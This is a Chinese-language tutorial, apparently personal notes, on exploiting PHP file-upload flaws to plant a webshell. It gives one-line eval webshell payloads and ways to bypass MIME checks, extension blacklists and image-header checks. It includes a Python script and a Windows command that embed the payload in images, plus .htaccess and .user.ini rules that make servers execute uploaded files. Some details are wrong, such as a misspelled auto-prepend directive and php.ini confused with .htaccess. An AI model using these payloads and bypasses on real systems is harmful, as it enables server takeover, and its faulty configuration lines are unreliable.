下面内容部分:参考
一、文件上传漏洞解释
解释:文件上传漏洞一般指的就是用户能够绕过服务器的规则设置将自己的木马程序放置于服务器实现远程shell(例如使用蚁剑远程连接),常见的木马有一句话木马(php)
- 无需启用short_open_tag:
<?php@eval($_POST['mypost'])?>
- 需要启用short_open_tag:
<?=eval($_POST['mypost']);?>
1.原理
解释:文件上传漏洞如果存在可能会被攻击端获得webshell,文件上传漏洞的存在,我目前认为可能有下面几个方面
- 服务端过滤不力(必需用白名单机制),没有严格对内容进行过滤,放过了应该过滤掉的可疑木马程序
- 服务器没有把上传的文件与服务器可运行目录内容分开放置,导致文件能够被随意执行(例如php)
- 服务器配置有重要问题
二、文件上传漏洞执行
1.PHP
解释:下面的情况适用于php为服务器的情况
1.1 前端绕过与MIME进行检查
适用条件:服务器对在前端对于文件后缀进行筛选,或服务器在后端对用户调教的Content-Type进行检查
绕过:直接使用Burpsuite,然后上传一个带有php木马的文件,但是将其名字修改为png,这样可以绕过这两个限制,然后使用Burpsuite进行拦截将png后缀重新修改至php实现渗透
MIME常用类型
- text/plain
- text/html
- text/css
- text/javascript
- image/gif
- image/png
- image/jpeg
- image/bmp
- image/webp
- image/x-icon
- audio/midi
- audio/mpeg
- application/octet-stream
- application/xml
- application/pdf
1.2 黑名单绕过
解释:总所周知,在文件上传过滤处,只有白名单才是相对安全的,而黑名单存在各种各样的问题
1.2.1 大小写绕过
适用条件:windows上面部署的服务器,如IIS或者其它;服务器没有过滤大小写
解释:windows上面会自动把类似a.Php
转换为a.php
这样我们上传a.phP
到服务器上就是可以正常运行的a.php
1.2.2 后缀绕过
适用条件:当服务器对用户采取黑名单过滤时,此时用户可以尝试多种可能能够执行php代码的文件后缀
绕过:修改文件名为webshell.php1
或webshell.php2
此时在某些特定情况下(比如apache如果配置不当可能把php1当做php进行解析)可能会执行成功
1.2.3 重写绕过
适用条件:服务器在对文件名过滤时,如果我们上传的内容在黑名单里面,服务器可能会对内容进行删除,此时可能适用重写来进行绕过
绕过:shell.phphpp // 当匹配到php时,shell.phphpp就变为shell.php中间那个php就被删除了
1.3 文件内容验证绕过(图片)
适用条件:服务器对于图片文件不单单会去验证后缀,可能还会去验证文件头,或者内容
1.3.1 文件头
解释:对于上传的图片内容一般未必是通过后缀来进行判断,很多可能都是通过读取其内容进行判
断,一般就是读取文件头。
常见的文件头(GIF那个相对简单可以直接复制GIF89a到文件开头):
- JPG: FF D8 FF E0 00 10 4A 46 49 46.
- GIF:47 49 46 38 39 61(GIF89a).
- PNG:89 50 4E 47
提醒:目前从我利用的经验看,一般GIF89a能超过,其它还没有成功过
构造:
GIF89a
<?=eval($_POST['mypost']);?>
1.3.2 文件木马
解释:通过将正常的图片与php恶意木马连接来形成文件木马,目的是绕过服务器对内容的一般检测
python生成:
from PIL import Image
def create_image(file_path, file_type, payload):
# 创建一个空的白色图片
img = Image.new('RGB', (60, 30), color=(73, 109, 137))
# 保存图片,并指定文件类型
img.save(file_path, file_type)
# 加入payload
with open(file_path, 'a') as f:
f.write(payload)
# 创建并保存图片
payload = '''
<?=eval($_POST['mypost']);?>
'''
# 文件类型 GIF/PNG/JPEG等等
create_image('要生成图片的文件名', '文件类型', payload)
window cmd生成:
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
1.4 服务器相关绕过
1.4.1 window系统特性
解释:window系统有很多与linux不同的特性,比如创建文件后缀有空格会自动删除,利用这些特性说不定可以达到意想不到的效果
-
空格:
index.php[空格] //window会自动解析为index.php
-
加点:
index.php......... //window会自动解析为index.php
-
加::$DATA
或::$DATA....
with open('inex.php::$DATA....', 'w') as f: f.close()
1.4.2 .htaccess利用
适用条件:Apache服务器
解释:在Apache当中有两个配置文件分别为httpd-conf(优先级小,管理员才可修改,重启服务器生效)与.htaccess(优先级大,可修改,立即生效),其中httpd-conf是全局文件,.htaccess是局部文件,.htaccess书写的配置能够在局部范围内覆盖httpd-conf的配置
应用:先上传一个.htaccess文件,内容如下(下面内容告诉服务器将.png内容当作php内容去进行解析),然后再上传一个被改名为.png的php木马程序即可
AddType application/x-httpd-php .png
1.4.3 .user.ini利用
相关文章:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
适用条件:上传的文件同执行的php程序在一个目录下面,存在于fastcgi运行的php里面
解释:在php当中有两个配置文件分别为php.ini(优先级小,重启服务器生效)与.htaccess(优先级大,修改立即生效),其中 php.ini是全局文件, .user.ini是局部文件, .user.ini书写的配置能够在局部范围内覆盖php.ini的配置
应用:先上传.user.ini,内容如下(下面的内容会让任意一个执行的php文件时,都会同时去执行自动关联的文件如下面的xx.png),如果能够成功,然后再上传一个被改名为xx.png的php木马程序即可,然后再随意访问一个php页面测试即可
注意:上传成功后可能需要等待一会才能生效(可以多传两次)
Auto-prepend-flie=xx.png
三、利用思路
注解:仅仅为本人思路,本人知识浅薄,仅供参考
- 先通过F12查看对方服务器是nginx还是apache,并思考可能利用的漏洞
- 通过修改
Content-Type
为正常内容的,测试服务器是否会以此为依据进行判断文件 - 如果不以
Content-Type
为依据通过上传文件test.dwadswafsfwfw
测验对方是白名单还是黑名单机制